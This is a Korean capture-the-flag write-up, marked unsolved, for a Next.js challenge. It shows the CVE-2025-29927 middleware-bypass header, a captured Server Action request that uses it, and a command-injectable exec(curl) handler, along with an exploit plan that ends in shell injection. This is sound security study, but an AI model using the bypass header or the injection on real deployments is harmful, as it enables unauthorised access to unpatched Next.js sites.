[DH] Next Master (Unsolved)
Introduction
Next master 문제에 대한 writeup입니다. (아직 풀지 못함)
Nextjs로 개발하던 분이라면 2025년에 nextjs middleware관련 critical 취약점이 발견됐다는 것을 기억할 것이다. 이 문제는 그 취약점을 이용한 문제로, Nextjs middleware를 통해 인증을 우회하는 문제이다.
문제 분석
TOTP를 이용해서 인증을 한다. 실제로 TOTP를 찍어 로그인을 시도하면 안 되는데, 길이가 10자리인 OTP를 입력해야 한다는 것을 알 수 있다. 문제에서 친절하게 json 형태로도 secret 값을 주었기 때문에 python을 통해서 어렵지 않게 10자리 OTP를 생성할 수 있다.
그러나 문제는 dashboard에 접근하기 위해서는 관리자 권한이 필요하다는 것이다.
정확히는 관리자 권한 또는 localhost에서 날린 서버 요청만이 dashboard에 접근할 수 있다.
그래서 관련 코드를 뜯어보면, JWT 방식이나 Auth, 그리고 X-forwarded-for
에도 문제가 없음을 알 수 있다.
즉, logic 버그가 없는 상황이다.
그래서 나는 문제 제목이 'Next master'인 것을 보고, 최근 CVE를 이용하면 되지 않을까 생각했다.
CVE-2025-29927
TL;dr
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
을 넣으면 middleware를 bypass할 수 있다.
그 이유는 Nextjs가 middleware를 실행할 때, x-middleware-subrequest
헤더를 확인하는데, 이 헤더를 :
단위로 쪼개 검사를 진행한다.
문제 환경인 nextjs 15에서는 재귀적으로 이 검사를 시행하기에 MAX_RECURSION_DEPTH
를 설정해놓았는데 이 값은 5로 설정되어 있다.
따라서 위처럼 헤더를 설정하면 split(':')
에서 동일한게 5개가 나와버려 middleware가 실행되지 않는다.
취약한 버전은 아래와 같다.
Next.js 15.x < 15.2.3
Next.js 14.x < 14.2.25
Next.js 13.x < 13.5.9
마침 package.json
에 적혀있는 nextjs 버전이 15.2.2로 취약한 버전이므로, 이 CVE를 이용할 수 있다.
Well known CVE라 날먹인 기분이 든다.
추가로 문제가 되었던 소스코드도 첨부한다.
export const run = withTaggedErrors(async function runWithTaggedErrors(params) {
const runtime = await getRuntimeContext(params)
const subreq = params.request.headers[`x-middleware-subrequest`]
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []
const MAX_RECURSION_DEPTH = 5
const depth = subrequests.reduce(
(acc, curr) => (curr === params.name ? acc + 1 : acc),
0
)
if (depth >= MAX_RECURSION_DEPTH) {
return {
waitUntil: Promise.resolve(),
response: new runtime.context.Response(null, {
headers: {
'x-middleware-next': '1',
},
}),
}
}
...
})
SSRF
JWT 변조는 어렵기에 SSRF를 이용한다.
Dashboard.ts
에 접근하면, 해당부분에 있는 fetch
를 사용하지만, api의 상태를 확인하는 버튼에서 유일하게 action.ts
를 사용한다.
따라서 해당 버튼을 생성할 수 있도록 burpsuite에서 response를 변조한다.
아래는 예시이다.
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 30 Jul 2025 22:05:49 GMT
Content-Type: application/json
Connection: keep-alive
vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
Content-Length: 46
{"api":[{"id":1,"host":"localhost:8080"}]}
이렇게 응답을 변조하면, api의 상태를 확인하는 버튼이 활성화된다. 이제 해당 버튼을 눌러 request를 변조하면 된다.
export async function doRequest(
key: string,
id: number,
path: string
): Promise<string> {
const api = await prisma.api.findFirst({ where: { id } });
if (!api) return "Invalid API";
if (api?.key !== key) return "Invalid API key";
if (path.length > 10) return "Path too long";
if ([..."!@#$%^&*()-_=+[{]};:'\",<.>/?\\|"].some((c) => path.includes(c)))
return "Forbidden character";
const { stdout } = await exec(`curl http://${api.host}/api/${path}`, {
timeout: 1000,
});
if (stdout) return readStream(stdout);
return "Error";
}
요청에 있는 [key, id, path]
는 위 확인 과정을 거쳐 실행된다.
친절하게도 exec
을 통해서 curl
명령어를 실행했다는 것은 shell injection을 통해서 flag를 가져오라는 뜻인 것 같다.
복기하자면, 우리의 목표는 주어진 Dockerfile
에서 적힌대로
COPY --chown=1337:1337 flag.txt /flag.txt
RUN chmod 0400 /flag.txt
COPY --from=builder --chown=1337:1337 /build/readflag /readflag
RUN chmod 4555 /readflag
/readflag
를 실행하여 /flag.txt
의 내용을 읽는 것이다.
따라서 해당 검사를 우회한 후 /readflag
를 실행하면 된다.
그러나 현재 if (api?.key !== key) return "Invalid API key";
조건에서 막힌 상황...
Solution (풀이중....)
익스플로잇 설계
1.
x-middleware-subrequest
헤더를 이용하여 middleware를 우회한다.2. request를 변조하여 SSRP를 발생시킨다.
3. shell injection을 통해 fake api 데이터를 생성한다.
4. fake api의 host를 통해 shell injection을 진행한다.
익스플로잇 코드
Note: Autoincrement는 1로 시작한다.
추가 troubleshooting 과정
- Nextjs trust host option
x-forwarded-host
header with valuelocalhost
does not matchorigin
header with valuelocalhost:8080
from a forwarded Server Actions request. Aborting the action.
Server Action 과정에서 orgin과 x-forwarded-host가 일치하지 않아 발생하는 오류이다. origin의 값을 적절하게 수정해주자. 나의 경우 port가 잘못되어 발생했다.
- Nextjs Server Action 찾기
app/url경로/~~~.js
안에 있다.
...
let c = (0,
l.createServerReference)("7054def650905d0a657e3251bf4af6f8d908a3fc0a", l.callServer, void 0, l.findSourceMapURL, "doRequest")
, n = (0,
l.createServerReference)("40a3889837c6c263cdb19fbaa30a03e755eb6658c3", l.callServer, void 0, l.findSourceMapURL, "doHealth");
...
실제 요청과 비교하면 Next-Action
헤더의 값을 가리킴을 알 수 있다.
POST /dashboard HTTP/1.1
Host: localhost:8080
Content-Length: 18
sec-ch-ua-platform: "Linux"
Next-Action: 7054def650905d0a657e3251bf4af6f8d908a3fc0a
Accept-Language: en-US,en;q=0.9
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22dashboard%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2Fdashboard%22%2C%22refresh%22%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/x-component
Content-Type: text/plain;charset=UTF-8
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/dashboard
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
["key",1,"health"]
- Arg handling and Prisma
Next에서 아래 코드처럼 적혀 있어도 key, id, path에는 다른 자료형이 들어올 수 있다.
export async function doRequest(
key: string,
id: number,
path: string
): Promise<string> {
const api = await prisma.api.findFirst({ where: { id } });
if (!api) return "Invalid API";
if (api?.key !== key) return "Invalid API key";
if (path.length > 10) return "Path too long";
if ([..."!@#$%^&*()-_=+[{]};:'\",<.>/?\\|"].some((c) => path.includes(c)))
return "Forbidden character";
const { stdout } = await exec(`curl http://${api.host}/api/${path}`, {
timeout: 1000,
});
if (stdout) return readStream(stdout);
return "Error";
}
Request
[["key","id"],{"not":1},"health"]
Response(No internal error occurred)
{"error":"Invalid API key"}